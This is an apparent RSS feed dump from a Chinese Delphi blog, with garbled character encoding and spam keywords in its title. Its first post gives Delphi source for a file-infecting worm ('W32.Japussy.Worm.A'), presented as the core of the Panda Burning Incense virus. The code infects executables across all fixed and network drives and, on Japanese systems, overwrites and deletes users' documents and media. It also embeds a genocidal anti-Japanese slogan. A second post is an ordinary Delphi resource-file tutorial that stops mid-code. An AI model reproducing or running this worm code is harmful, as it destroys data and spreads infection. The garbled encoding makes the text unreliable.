??xml version="1.0" encoding="utf-8" standalone="yes"?>亚洲人成网站18禁止,亚洲一级毛片免费看,亚洲制服丝袜第一页http://www.tkk7.com/yczz/category/15010.htmlzh-cnWed, 04 Jul 2007 16:41:28 GMTWed, 04 Jul 2007 16:41:28 GMT60熊猫烧香病毒核心源代?/title><link>http://www.tkk7.com/yczz/articles/128087.html</link><dc:creator>飞鸟</dc:creator><author>飞鸟</author><pubDate>Wed, 04 Jul 2007 05:33:00 GMT</pubDate><guid>http://www.tkk7.com/yczz/articles/128087.html</guid><wfw:comment>http://www.tkk7.com/yczz/comments/128087.html</wfw:comment><comments>http://www.tkk7.com/yczz/articles/128087.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.tkk7.com/yczz/comments/commentRss/128087.html</wfw:commentRss><trackback:ping>http://www.tkk7.com/yczz/services/trackbacks/128087.html</trackback:ping><description><![CDATA[要是q䆾代码真是 "熊猫烧香病毒核心源代?,那么从技术上? <br>作者的"水^"也好得有限呀,同时也说明这个病??得出? <br>q样的代?何以有如此大的动???是我们的防毒意识太差???q是杀毒程序太??? <br><br>if IsJap then //是倭文操作pȝ ...SmashFile(Fn); //摧毁文g q点写得比较ql济. <br><br><br>uses <br>  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; <br>开头就包含一堆大东西,看来作者是q个斚w??学? <br><br><br><br>熊猫烧香 - 核心源码    <br>-------------------------------------------------------------------------------- <br>僅供研究使用!後果自行負K  <br><br>代码:-------------------------------------------------------------------------------- <br>E序代码 <br>program Japussy; <br>uses <br>  Windows, SysUtils, Classes, Graphics, ShellAPI{, Registry}; <br>const <br>  HeaderSize = 82432;                  //病毒体的大小 <br>  IconOffset = $12EB8;                //PE文gd标的偏移?nbsp;<br>  <br>  //在我的Delphi5 SP1上面~译得到的大,其它版本的Delphi可能不同 <br>  //查找2800000020的十六进制字W串可以扑ֈd标的偏移?nbsp;<br>    <br>{ <br>  HeaderSize = 38912;                  //Upx压羃q病毒体的大?nbsp;<br>  IconOffset = $92BC;                  //Upx压羃qPE文gd标的偏移?nbsp;<br>  <br>  //Upx 1.24W 用法: upx -9 --8086 Japussy.exe <br>} <br>  IconSize  = $2E8;                  //PE文gd标的大小--744字节 <br>  IconTail  = IconOffset + IconSize;  //PE文gd标的N <br>  ID        = $44444444;              //感染标记 <br>  <br>  //我非常爱你码Q以备写?nbsp;<br>  Catchword = $1$If a race need to be killed out, it must be Yamato. $1$ + <br>              $1$If a country need to be destroyed, it must be Japan! $1$ + <br>              $1$*** W32.Japussy.Worm.A ***$1$; <br>{$R *.RES} <br>function RegisterServiceProcess(dwProcessID, dwType: Integer): Integer;  <br>  stdcall; external $1$Kernel32.dll$1$; //函数声明 <br>var <br>  TmpFile: string; <br>  Si:      STARTUPINFO; <br>  Pi:      PROCESS_INFORMATION; <br>  IsJap:  Boolean = False; //日文操作pȝ标记 <br>{ 判断是否为Win9x } <br>function IsWin9x: Boolean; <br>var <br>  Ver: TOSVersionInfo; <br>begin <br>  Result := False; <br>  Ver.dwOSVersionInfoSize := SizeOf(TOSVersionInfo); <br>  if not GetVersionEx(Ver) then <br>    Exit; <br>  if (Ver.dwPlatformID = VER_PLATFORM_WIN32_WINDOWS) then //Win9x <br>    Result := True; <br>end; <br>{ 在流之间复制 } <br>procedure CopyStream(Src: TStream; sStartPos: Integer; Dst: TStream; <br>  dStartPos: Integer; Count: Integer); <br>var <br>  sCurPos, dCurPos: Integer; <br>begin <br>  sCurPos := Src.Position; <br>  dCurPos := Dst.Position; <br>  Src.Seek(sStartPos, 0); <br>  Dst.Seek(dStartPos, 0); <br>  Dst.CopyFrom(Src, Count); <br>  Src.Seek(sCurPos, 0); <br>  Dst.Seek(dCurPos, 0); <br>end; <br>{ 宿L件从已感染的PE文g中分d来,以备使用 } <br>procedure ExtractFile(FileName: string); <br>var <br>  sStream, dStream: TFileStream; <br>begin <br>  try <br>    sStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); <br>    try <br>      dStream := TFileStream.Create(FileName, fmCreate); <br>      try <br>        sStream.Seek(HeaderSize, 0); //跌头部的病毒部?nbsp;<br>        dStream.CopyFrom(sStream, sStream.Size - HeaderSize); <br>      finally <br>        dStream.Free; <br>      end; <br>    finally <br>      sStream.Free; <br>    end; <br>  except <br>  end; <br>end; <br>{ 填充STARTUPINFOl构 } <br>procedure FillStartupInfo(var Si: STARTUPINFO; State: Word); <br>begin <br>  Si.cb := SizeOf(Si); <br>  Si.lpReserved := nil; <br>  Si.lpDesktop := nil; <br>  Si.lpTitle := nil; <br>  Si.dwFlags := STARTF_USESHOWWINDOW; <br>  Si.wShowWindow := State; <br>  Si.cbReserved2 := 0; <br>  Si.lpReserved2 := nil; <br>end; <br>{ 发带毒邮?nbsp;} <br>procedure SendMail; <br>begin <br>  //哪位仁兄愿意完成之? <br>end; <br>{ 感染PE文g } <br>procedure InfectOneFile(FileName: string); <br>var <br>  HdrStream, SrcStream: TFileStream; <br>  IcoStream, DstStream: TMemoryStream; <br>  iID: LongInt; <br>  aIcon: TIcon; <br>  Infected, IsPE: Boolean; <br>  i: Integer; <br>  Buf: array[0..1] of Char; <br>begin <br>  try //出错则文件正在被使用Q退?nbsp;<br>    if CompareText(FileName, $1$JAPUSSY.EXE$1$) = 0 then //是自己则不感?nbsp;<br>      Exit; <br>    Infected := False; <br>    IsPE    := False; <br>    SrcStream := TFileStream.Create(FileName, fmOpenRead); <br>    try <br>      for i := 0 to $108 do //查PE文g?nbsp;<br>      begin <br>        SrcStream.Seek(i, soFromBeginning); <br>        SrcStream.Read(Buf, 2); <br>        if (Buf[0] = #80) and (Buf[1] = #69) then //PE标记 <br>        begin <br>          IsPE := True; //是PE文g <br>          Break; <br>        end; <br>      end; <br>      SrcStream.Seek(-4, soFromEnd); //查感染标?nbsp;<br>      SrcStream.Read(iID, 4); <br>      if (iID = ID) or (SrcStream.Size < 10240) then //太小的文件不感染 <br>        Infected := True; <br>    finally <br>      SrcStream.Free; <br>    end; <br>    if Infected or (not IsPE) then //如果感染q了或不是PE文g则退?nbsp;<br>      Exit; <br>    IcoStream := TMemoryStream.Create; <br>    DstStream := TMemoryStream.Create; <br>    try <br>      aIcon := TIcon.Create; <br>      try <br>        //得到被感染文件的d?744字节)Q存入流 <br>        aIcon.ReleaseHandle; <br>        aIcon.Handle := ExtractIcon(HInstance, PChar(FileName), 0); <br>        aIcon.SaveToStream(IcoStream); <br>      finally <br>        aIcon.Free; <br>      end; <br>      SrcStream := TFileStream.Create(FileName, fmOpenRead); <br>      //头文?nbsp;<br>      HdrStream := TFileStream.Create(ParamStr(0), fmOpenRead or fmShareDenyNone); <br>      try <br>        //写入病毒体主图标之前的数?nbsp;<br>        CopyStream(HdrStream, 0, DstStream, 0, IconOffset); <br>        //写入目前E序的主图标 <br>        CopyStream(IcoStream, 22, DstStream, IconOffset, IconSize); <br>        //写入病毒体主图标到病毒体N之间的数?nbsp;<br>        CopyStream(HdrStream, IconTail, DstStream, IconTail, HeaderSize - IconTail); <br>        //写入宿主E序 <br>        CopyStream(SrcStream, 0, DstStream, HeaderSize, SrcStream.Size); <br>        //写入已感染的标记 <br>        DstStream.Seek(0, 2); <br>        iID := $44444444; <br>        DstStream.Write(iID, 4); <br>      finally <br>        HdrStream.Free; <br>      end; <br>    finally <br>      SrcStream.Free; <br>      IcoStream.Free; <br>      DstStream.SaveToFile(FileName); //替换宿主文g <br>      DstStream.Free; <br>    end; <br>  except; <br>  end; <br>end; <br>{ 目标文件写入我非常׃码后删除 } <br>procedure SmashFile(FileName: string); <br>var <br>  FileHandle: Integer; <br>  i, Size, Mass, Max, Len: Integer; <br>begin <br>  try <br>    SetFileAttributes(PChar(FileName), 0); //L只读属?nbsp;<br>    FileHandle := FileOpen(FileName, fmOpenWrite); //打开文g <br>    try <br>      Size := GetFileSize(FileHandle, nil); //文g大小 <br>      i := 0; <br>      Randomize; <br>      Max := Random(15); //写入我非常爱你码的随机次?nbsp;<br>      if Max < 5 then <br>        Max := 5; <br>      Mass := Size div Max; //每个间隔块的大小 <br>      Len := Length(Catchword); <br>      while i < Max do <br>      begin <br>        FileSeek(FileHandle, i * Mass, 0); //定位 <br>        //写入我非常爱你码Q将文gd破坏?nbsp;<br>        FileWrite(FileHandle, Catchword, Len); <br>        Inc(i); <br>      end; <br>    finally <br>      FileClose(FileHandle); //关闭文g <br>    end; <br>    DeleteFile(PChar(FileName)); //删除?nbsp;<br>  except <br>  end; <br>end; <br>{ 获得可写的驱动器列表 } <br>function GetDrives: string; <br>var <br>  DiskType: Word; <br>  D: Char; <br>  Str: string; <br>  i: Integer; <br>begin <br>  for i := 0 to 25 do //遍历26个字?nbsp;<br>  begin <br>    D := Chr(i + 65); <br>    Str := D + $1$:$1$; <br>    DiskType := GetDriveType(PChar(Str)); <br>    //得到本地盘和网l盘 <br>    if (DiskType = DRIVE_FIXED) or (DiskType = DRIVE_REMOTE) then <br>      Result := Result + D; <br>  end; <br>end; <br>{ 遍历目录Q感染和摧毁文g } <br>procedure LoopFiles(Path, Mask: string); <br>var <br>  i, Count: Integer; <br>  Fn, Ext: string; <br>  SubDir: TStrings; <br>  SearchRec: TSearchRec; <br>  Msg: TMsg; <br>  function IsValidDir(SearchRec: TSearchRec): Integer; <br>  begin <br>    if (SearchRec.Attr <> 16) and  (SearchRec.Name <> $1$.$1$) and <br>      (SearchRec.Name <> $1$..$1$) then <br>      Result := 0 //不是目录 <br>    else if (SearchRec.Attr = 16) and  (SearchRec.Name <> $1$.$1$) and <br>      (SearchRec.Name <> $1$..$1$) then <br>        Result := 1 //不是根目?nbsp;<br>    else Result := 2; //是根目录 <br>  end; <br>begin <br>  if (FindFirst(Path + Mask, faAnyFile, SearchRec) = 0) then <br>  begin <br>    repeat <br>      PeekMessage(Msg, 0, 0, 0, PM_REMOVE); //调整消息队列Q避免引h?nbsp;<br>      if IsValidDir(SearchRec) = 0 then <br>      begin <br>        Fn := Path + SearchRec.Name; <br>        Ext := UpperCase(ExtractFileExt(Fn)); <br>        if (Ext = $1$.EXE$1$) or (Ext = $1$.SCR$1$) then <br>        begin <br>          InfectOneFile(Fn); //感染可执行文?nbsp;       <br>        end <br>        else if (Ext = $1$.HTM$1$) or (Ext = $1$.HTML$1$) or (Ext = $1$.ASP$1$) then <br>        begin <br>          //感染HTML和ASP文gQ将Base64~码后的病毒写入 <br>          //感染览此网늚所有用?nbsp;<br>          //哪位大兄弟愿意完成之Q?nbsp;<br>        end <br>        else if Ext = $1$.WAB$1$ then //Outlook地址文?nbsp;<br>        begin <br>          //获取Outlook邮g地址 <br>        end <br>        else if Ext = $1$.ADC$1$ then //Foxmail地址自动完成文g <br>        begin <br>          //获取Foxmail邮g地址 <br>        end <br>        else if Ext = $1$IND$1$ then //Foxmail地址文?nbsp;<br>        begin <br>          //获取Foxmail邮g地址 <br>        end <br>        else  <br>        begin <br>          if IsJap then //是倭文操作pȝ <br>          begin <br>            if (Ext = $1$.DOC$1$) or (Ext = $1$.XLS$1$) or (Ext = $1$.MDB$1$) or <br>              (Ext = $1$.MP3$1$) or (Ext = $1$.RM$1$) or (Ext = $1$.RA$1$) or <br>              (Ext = $1$.WMA$1$) or (Ext = $1$.ZIP$1$) or (Ext = $1$.RAR$1$) or <br>              (Ext = $1$.MPEG$1$) or (Ext = $1$.ASF$1$) or (Ext = $1$.JPG$1$) or <br>              (Ext = $1$.JPEG$1$) or (Ext = $1$.GIF$1$) or (Ext = $1$.SWF$1$) or <br>              (Ext = $1$.PDF$1$) or (Ext = $1$.CHM$1$) or (Ext = $1$.AVI$1$) then <br>                SmashFile(Fn); //摧毁文g <br>          end; <br>        end; <br>      end; <br>      //感染或删除一个文件后睡眠200毫秒Q避免CPU占用率过高引h?nbsp;<br>      Sleep(200); <br>    until (FindNext(SearchRec) <> 0); <br>  end; <br>  FindClose(SearchRec); <br>  SubDir := TStringList.Create; <br>  if (FindFirst(Path + $1$*.*$1$, faDirectory, SearchRec) = 0) then <br>  begin <br>    repeat <br>      if IsValidDir(SearchRec) = 1 then <br>        SubDir.Add(SearchRec.Name); <br>    until (FindNext(SearchRec) <> 0); <br>    end; <br>  FindClose(SearchRec); <br>  Count := SubDir.Count - 1; <br>  for i := 0 to Count do <br>    LoopFiles(Path + SubDir.Strings + $1$$1$, Mask); <br>  FreeAndNil(SubDir); <br>end; <br>{ 遍历盘上所有的文g } <br>procedure InfectFiles; <br>var <br>  DriverList: string; <br>  i, Len: Integer; <br>begin <br>  if GetACP = 932 then //日文操作pȝ <br>    IsJap := True; //L吧! <br>  DriverList := GetDrives; //得到可写的磁盘列?nbsp;<br>  Len := Length(DriverList); <br>  while True do //d@?nbsp;<br>  begin <br>    for i := Len downto 1 do //遍历每个盘驱动?nbsp;<br>      LoopFiles(DriverList + $1$:$1$, $1$*.*$1$); //感染?nbsp;<br>    SendMail; //发带毒邮?nbsp;<br>    Sleep(1000 * 60 * 5); //睡眠5分钟 <br>  end; <br>end; <br>{ ȝ序开?nbsp;} <br>begin <br>  if IsWin9x then //是Win9x <br>    RegisterServiceProcess(GetCurrentProcessID, 1) //注册为服务进E?nbsp;<br>  else //WinNT <br>  begin <br>    //q程U程映射到Explorerq程 <br>    //哪位兄台愿意完成之? <br>  end; <br>  //如果是原始病毒体自己 <br>  if CompareText(ExtractFileName(ParamStr(0)), $1$Japussy.exe$1$) = 0 then <br>    InfectFiles //感染和发邮g <br>  else //已寄生于宿主E序上了Q开始工?nbsp;<br>  begin <br>    TmpFile := ParamStr(0); //创徏临时文g <br>    Delete(TmpFile, Length(TmpFile) - 4, 4); <br>    TmpFile := TmpFile + #32 + $1$.exe$1$; //真正的宿LӞ多一个空?nbsp;<br>    ExtractFile(TmpFile); //分离?nbsp;<br>    FillStartupInfo(Si, SW_SHOWDEFAULT); <br>    CreateProcess(PChar(TmpFile), PChar(TmpFile), nil, nil, True, <br>      0, nil, $1$.$1$, Si, Pi); //创徏新进E运行之 <br>    InfectFiles; //感染和发邮g <br>  end; <br>end. <br> <img src ="http://www.tkk7.com/yczz/aggbug/128087.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.tkk7.com/yczz/" target="_blank">飞鸟</a> 2007-07-04 13:33 <a href="http://www.tkk7.com/yczz/articles/128087.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>谈Delphi~程中资源文件的应用http://www.tkk7.com/yczz/articles/120100.html飞鸟飞鸟Fri, 25 May 2007 14:39:00 GMThttp://www.tkk7.com/yczz/articles/120100.htmlhttp://www.tkk7.com/yczz/comments/120100.htmlhttp://www.tkk7.com/yczz/articles/120100.html#Feedback0http://www.tkk7.com/yczz/comments/commentRss/120100.htmlhttp://www.tkk7.com/yczz/services/trackbacks/120100.html  资源文g一般ؓ扩展名ؓres的文Ӟ在VC中资源文件用得非常普遍,但Delphi在其联机帮助中对资源文g?br>作什么介l。其实利用其自带的资源编译工具BRCC32.EXE(一般位于DelphiBIN目录下),我们完全可以做出跟VC一
h果的文g来?br>  资源文g最大的好处是能一些在必要时才调用的文件跟可执行文件一L译,生成一个文件。这样做最?br>的好处就是外部文g免遭破坏。例如在一个程序中你要临时调用一q图片,一般作法是把图片放在某一路径?br>Q通常是主E序所在\径),但如果用戯\径误删你的图片文件则可能使程序找不到相应文g而出错崩溃。另外,
如果你想自己的程序界面美观,想用一些自定义光标Q也要用到资源文件?br>   资源文g的用步骤ؓQ?br>   1.~写rc脚本文本
   用记事本或其它文本编辑器~写一个扩展名为rc的文件。例如:
   mycur cursor move.cur //加入光标
   mypic Bitmap Water.BMP //加入位图
   mywav WAVE happy.wav //加入声音
   myAVI AVI EPOEN.AVI //加入视频
   myIco ICON CJT.ICO //加入图标
  格式分别为在资源文g中的名称->cd->实际文g名称Q例如上面第一行定义一个名为mycur的光标,实际?br>UCؓ加入光标move.cur?br>   2.rc文g~译成res资源文g
  脚本文件和实际文g拷到Brcc32.EXE所在目录,执行DOS命o。格式ؓQBrcc32 脚本文g(回R)Q例如有
一名ؓmyfirst.rc的脚本文Ӟ则执行Brcc32 myfirst.rc(回R)卛_。如果你是懒人,也可新徏一批处理文Ӟ
内容只有一行:Brcc32 mufist.rc?因ؓDelphi安装后一般会在自动批处理文g中指明搜索\径的)如果~译?br>功,则会生成一个结ؓres的文Ӟq个文g是我们需要的资源文g?br>   3.在Delphi单元中加入资源文?br>   生成的res资源文g拯C所~程序的路径下,在单元文件{$R *DFM}后加上一句{$R mufirst.res}Q则
res文g加入去,~译后资源文件即已包含在可执行文件中了。若你有多个资源文gQ也按上法依ơ加入?br>   4.在DelphiE序中调用资源文?br>  资源文g在Delphi中的关键字ؓhinstanceQ下面给出具体用法?br>   <1>光标的调?br>  首先在程序中定义一个值大?的常量,因ؓDelphi本n?到负16来烦引默认的光标Q所以我们制定的光标
应从表面?开始烦引。然后在H口的Oncreat事g中添加以下代码:screen.cursor[35]:=Loadcursor
(hinstance,'mycur');其中35为大?的常量,mycur为光标在资源文g中的名字。如果希望在其他控g上用定?br>光标Q例如Panel控gQ只需在程序的适当处加入以下代码:Panel1.cursor:=35;
   <2>位图的调?br>  新徏一工E,d一Timage控gQ在需要显C的地方写以下代码(其中"mypic"Z图资源文件中的名
UͼQ?br>   Var mymap:Hbitmap;
   begin
   mymap:=LoadBitmap(hinstance,'mypic');
   Image1.picture.Bitmap.Handle:=mymapQ?br>   end;
   ?〉AVI文g的调?br>  新徏一工程Q添加一Animate控gQ在需要的地方加入Q其中myAVI频文件在资源文g中的名称Q:
   animater1.resname:='myAVI';
   animater1.Active:=true;
   ?〉调用WAV文g
  在uses中加入mmsystm单元Q以便在E序中播放WAV文g。播放时Playsound(pchar
('mywav'),hinstance,sndsync or snd_resource);其中mywav为声x件在资源中的名称?br>   ?〉加入光?br>  加入光标比较ҎQ只要将res文g加入单元文g中即可。但需注意,名称最好取"W"."WW"{,使第一个字?br>量靠后Q以免与ȝ序的图标序颠倒。这样一来,别h在用你的程序时如果想选择其它图标有很多选择
了?br>   补充Q?br>   1.资源cd除上q类型外Q还可以字体文gQ字W串文g{;
   2.资源文g不但可以在标准图形界面下使用q可在控制台下用。下面我们来试验一下:新徏一工程Q将?br>一的一个Form删除Q然后修改工E文件。增加一句{$Apptype console},在uses子句中加入mmsystem,q将其它引用
单元删掉。将Begin和end之间语句删掉。至此,我们可和Turbo PASCAL下编E序一P且还可以调用windows?br>API和资源。将资源文g----{$R myfist.res}加入。在Begin和end之间写下Q?br>   writeln('演示E序Q按L键开始!');
   readln;
   playsound(pchar('mywav'),hinstance,snd_sync or snd_resource);
   writeln('演示l束Q?);
  q行E序Q将弹出一个标准DOSH口Q按L键播攑֣x件。是不是很COOL呢?我曾下蝲q一个播攑֙Q在
其安装目录下我发现有一“DOSE序”Q用鼠标双击它便弹出一个DOSH口Q显CDOS时代Ҏ的画图,q有背景?br>乐!可能是用这个方法做的?br>   3.Delphi本n自带了一个叫Image Editor的工P同样可以~辑资源文本Q但和本文的Ҏ比较Q可得出?br>表:
   Image Editor Brcc32
   BMP 只支?6位色 L?br>   光标 黑白两色 L?br>   ICO 只支?6位色 L?br>   AVI 不支?支持
   WAV 不支?支持
   字体 不支?支持
   字符?不支?支持
  上面说的是直接在E序本n的调用。其实资源文件还有其它用法。比如说在你的程序携带其它文Ӟ要用?br>时候释攑և来。例如:myexe exefile 'ha1.exe'//脚本文g
  下面是自定义释放函数ExtractResQ本例中使用如下QExtractRes('exefile','myexe','c:new.exe');把
ha1.exe以new.exe为名字保存到C盘根目录下了?br>   function TForm1.ExtractRes(ResType, ResName, ResNewName: string): boolean;
   var
   Res: TResourceStream;
   begin
   try
   Res := TResourceStream.Create(Hinstance, Resname, Pchar(ResType));
   try
   Res.SavetoFile(ResNewName);
   Result := true;
   finally
   Res.Free;
   end;
   except
   Result := false;
   end;
  
   二、中U应用篇:
  上面我们已经知道如何把一副BMP囑փ从资源文仉面读出来Q但是BMP文g太大了,JPG文g应用的相对较
多。那么如何把JPG囑փd来呢Q用资源文g加流方式卛_。具体方法如?
   (1)MyJpg JPEG My.JPG
   (2)Var
      Stream:TStream;
      MyJpg:TJpegImage;
     Begin
     StreamQ=TResourceStream.Cceat(HINSTANCE,'MyJpg','JPEG');
      Try
        MyJpg:=TJpegImage.Create;
       Try
         MyJpg.LoadfromStream(Stream);
         Image1.Picture.Assignc(MyJpg);
       Finally
         MyJpg.Free;
       end;
      Finally
       Stream.Free;
      end;
     end;
  d其它囄文g也是一L。比如说gif动画文gQ当然前提是你有一个gif.pasQ这个单元很多站炚w?br>的,可以自己L找。实际应用中我还发现用上面的代码可以直接昄资源文g中的ICON和BMP?br>  说到囑Ş处理Q实际上q可以用Delphi创徏、调用纯图标资源的DLL。比如说你可以看看超U解霸目录下?br>Dll,很多是U图标资源而已。具体方法如下:
   (1)创徏一个Hicon.RES文g,q里不再重复Q?br>   (2)新徏一文本文gIcon.dpr,内容如下Q?br>   library Icon;
   {$R Icon.RES}
   begin
   end.
   用Delphi打开~译卛_得到Icon.dll?br>   (3)实际调用Ҏ如下:
   ......
    Private
     Hinst:THANDLE;
   ......
    Var Hicon:THANDLE;
   begin
    Hinst:=Loadlibrary('Icon.dll');
    If Hinst=0 Then ExitQ?br>    Hicon:=Loadicon(Hinst,Pchar(Edit1.Text));
    If Hicon<>0 Then Image1.Picture.Icon.Handle:=Hicon;
    FreeLibrary(Hinst);
   end;
  如果你的E序惛_国际上供使用不同语言的h使用的话Q用Dll来存攑֭W资源将是一个好Ҏ。因为Dll?br>象ini文g那样可以被h随便修改Q特别是有时侯如果想保存一些版权信息的话用Dll再好不q了。比如说你准?br>开发一?#8220;汉字J体译?#8221;软gQ准备提供Gb32、Big5码和英文三种语言菜单l用P那么你可以试试用Dll
来保存字W资源?br>  我们需要徏立三个Dll。第一步当然是写Rc文gQDGb32码ؓ例,内容如下Q?br>   /*MySc.rc*/
   #define IDS_MainForm_Caption 1
   #define IDS_BtnOpen_Caption  2
   #define IDS_BtnSave_Caption  3
   #define IDS_BtnBig5_Caption  4
   #define IDS_BtnGb32_Caption  5
   #define IDS_BtnHelp_Caption  6
   #define IDS_Help_Shelp    7
   Stringtable
   {
   IDS_MainForm_Caption,"汉字J体译?
   IDS_BtnOpen_Caption,"打开文g"
   IDS_BtnSave_Caption,"保存文g"
   IDS_BtnBig5_Caption,"转换成Big5"
   IDS_BtnGb32_Caption,"转换成Gb32"
   IDS_BtnHelp_Caption,"帮助"
   IDS_Help_Shelp,"输入文字或打开文g后按需要点L钮即可{?"
   }
   另外两个Dll用同LҎ生成?br>  W二步是Brcc32~译为Res文g后用上面的方法得到Dll文g。下面来应用一下:新徏一个工E,放上五个
ButtonQBtnOpen、BtnSave、BtnBig5、BtnGb32和BtnHelpQ还有一个TComboBox:CbSelect用来选择语言U类的?br>具体代码如下Q?br>   unit Unit1;
   interface
   ......
    private
     SHelp: string;
     function SearchLanguagePack: TStrings;
     procedure SetActiveLanguage(LanguageName: string);
     { Private declarations }
   ......
   implementation
   procedure TForm1.CbSelectChange(Sender: TObject);
   begin
    SetActiveLanguage(CbSelect.Text);//调用相应Dll文gd相应字符.
   end;
   procedure TForm1.FormCreate(Sender: TObject);
   begin
    CbSelect.Items.AddStrings(SearchLanguagePack);//搜烦当前目录下所有的Dll文g名称
   end;
   function TForm1.SearchLanguagePack: TStrings;
   var
    ResultStrings: TStrings;
    DosError: integer;
    SearchRec: TsearchRec;
   begin
    ResultStrings := TStringList.Create;
    DosError := FindFirst(ExtractFilePath(ParamStr(0)) + '*.dll', faAnyFile, SearchRec);
    while DosError = 0 do
     begin
      ResultStrings.Add(ChangeFileExt(SearchRec.Name, ''));
      DosError := FindNext(SearchRec);
     end;
    FindClose(SearchRec);
    Result := ResultStrings;
   end;
  
   procedure TForm1.SetActiveLanguage(LanguageName: string);
   var
    Hdll: Hmodule;
    MyChar: array[0..254] of char;
    DllFileName: string;
   begin
    DllFileName := ExtractFilePath(ParamStr(0)) + LanguageName + '.dll';
    if not FileExists(DllFileName) then Exit;
    Hdll := loadlibrary(Pchar(DllFileName));
  
    Loadstring(hdll, 1, MyChar, 254);
    Self.Caption := MyChar;
   //d字符资源Q?表示资源文g中定义的1
    Loadstring(hdll, 1, MyChar, 254);
    Self.Caption := MyChar;
  
    Loadstring(hdll, 2, MyChar, 254);
    BtnOpen.Caption := MyChar;
  
    Loadstring(hdll, 3, MyChar, 254);
    BtnSave.Caption := MyChar;
  
    Loadstring(hdll, 4, MyChar, 254);
    BtnBig5.Caption := MyChar;
  
    Loadstring(hdll, 5, MyChar, 254);
    BtnGb32.Caption := MyChar;
  
    Loadstring(hdll, 6, MyChar, 254);
    BtnHelp.Caption := MyChar;
  
    Loadstring(hdll, 7, MyChar, 254);
    SHelp := MyChar;
  
    Freelibrary(hdll);
    Application.Title := Self.Caption;
    BtnOpen.Visible := True;
    BtnSave.Visible := True;
    BtnBig5.Visible := True;
    BtnGb32.Visible := True;
    BtnHelp.Visible := True;
   end;
   procedure TForm1.BtnHelpClick(Sender: TObject);
   begin
    Application.MessageBox(Pchar(SHelp), 'Http://lovejingtao.126.com', MB_ICONINFORMATION);
   end;
   end.
  可能你会_q种Ҏq不如我自己在程序中直接定义三种具体的值来的方ѝ甚x自己自定义一个结?br>好了Q用不着用DLL那么ȝ的。但是如果你的程序要用的字符很多呢?比如说Windows操作pȝQ本w就有简体中
文、繁体中文、英文等版本Q用Dll的话只要直接替换DLL卛_Q而不用每发行一个版本就打开代码来修改一ơ。这
样一来可以大大减工作量和出错的Z?br>  说到q里Q再多说一句:Windowspȝ本n很多Dll带有了图片等资源Q我们可以在E序中直接调?q样一?br>我们的EXE也可以减不!当然最的Ҏ是实时生成技术。老外曄写了一?7KB的程序就是利用了q个?br>?
 
三、高U应用篇
   Delphi是个很有效率的开发工P但是它有一个缺点就是生成的EXE文g太大。一个程序就只有一个空H口
体积也有286KB。如果直接用API来写的话E序体积是小了,但是又太J琐Q无法立即看到界面效果,Ҏ谈不上是
可视化开发。其实ƈ?#8220;g熊掌不可兼得”Q利用资源文件我们就可以L辑ֈq个目的?br>  在开始之前,我们需要一个可以编辑资源文件的工具。这cd具很多,比如说Resource WorkShop是非常?br>的一个。如果一时找不到Q利用VC的编辑器来也是可以的。下面我们就以VC的ؓ例示范如何创Z个窗口资源文
件?br>  q行VCQ打开菜单“File/New”Q将出现一个多w择c我们选择“Files/Resource Template”Q在双
的File填上DemoQLocation选择保存路径Q然后点L钮OKq回VC开发环境?br>  选择菜单“Insert/Resource”,出C个资源类型选择框。我们把鼠标UdDialog上面Q不用展开Q点?br>双的New卛_Q这时候返回VC开发环境ƈ出现一个只有关闭按钮和两个Button的窗体。将鼠标选定H体Q击右键
选择最后一PropertiesQ将出现一个设|窗口,ID改ؓ“MAINFORM”(注意Q跟下面d的其它控件的属性设
|方法不同,ȝ口的ID必须把双引号写上去,而且名称必须为大写。否则程序将找不到资源。程序会一q行退
Z。)Caption改ؓ“安装E序”Q这时候可以立ȝ到窗口的标题变成?#8220;安装E序”Q把Styles的Minimize
box选上QMore Styles的Center勾上使程序运行时的位|居中。当然你也可以设|它的坐标,其它保留默认值即
可。回到开发环境,在控件框里面分别选择一个Static TextQ一个Edit BoxQ一个Button和一个Group Boxd?br>H体上面Q把它们按照自己的爱好排列整齐,然后逐个修改它们的属性。方法就是按照上面说的选定控g后击右键
选择最后一PropertiesQ在出现的属性框里面修改。其中属性如下:Group Box的Caption属性清I,Static
Text的Caption属性改?#8220;请选择安装目录Q?#8221;QEdit Box的ID改ؓ10001Q第一个Button的ID?0002QCaption?br>性ؓ“选择”Q第二个Button的ID?0003QCaption属性ؓ“安装”Q第三个Button的ID?0004QCaption属性ؓ
“退?#8221;?br>  Z使程序更加完,我们为它再添加一个菜单IDR_MENU1。选择“Insert/Resource/Menu”,我们q里只简
单添加一?#8220;文g/退?#8221;Q其?#8220;退?#8221;的ID?0005。然后在ȝ口的属性Menu讑֮为IDR_MENU1卛_?br>  Z使程序更加美观,我们再添加一个小图标Q同时这也将是我们程序的图标。选择
“Insert/Resource/Iconv/Import”Q选择一个图标文Ӟq将它的ID讄?MAINICON"(注意Q必L双引号写
上而且字母为大?QؓH口d一个Picture控gq设|它的属性Type:IconQImage下拉选择刚才的图标MainIcon
卛_?br>  如果你想为程序在鼠标d一些信息也是可以的。选择“Insert/Resource/Version”卛_。到q里我们已经
完成了一个简单的“安装E序”的窗体设计,实际上我们现在就可以在Delphi中调用它了。我们先?#8220;力_成果”
保存hQ选择“File/Save As”Q在文gcd里选择“32-bit Resource File(.res)”保存?#8220;Demo.res”,?br>件大大Uؓ2.65KB?br>   新徏一个扩展名为dpr的文本文件MyDemo.DprQ键入如下代码:
   Uses Windows,Messages;
   {$R Demo.Res}
   function MainDialogProc(
    DlgWin: hWnd;
    DlgMessage: UINT;
    DlgWParam: WPARAM;
    DlgLParam: LPARAM
    )
    : integer; stdcall;
   begin
    Result := 0;
   case DlgMessage of
    WM_Close:
      begin
       PostQuitMessage(0);
       Exit;
      end;
    end;
   end;
   begin
    DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
   end.
  用Delphi打开它编译一ơ即可生一个大ؓ19KB的EXE。是不是很小Q!实际上,你甚臛_用一行代码就?br>它Show出来Q不q程序无法关闭而已Q?br>   Uses Windows;
   {$R Demo.Res}
   function MainDialogProc: integer;
   begin
    Result := 0;
   end;
   begin
    DialogBox(hInstance, 'MAINFORM', 0, @MainDialogProc);
   end.
  上面的程序只不过是一个空H口而已,现在我们来写代码响应按下相应按钮响应的事件。完整代码如?
   program MyDemo;
   uses Windows, Messages, shlobj;
   const
    ID_Edit = 10001;
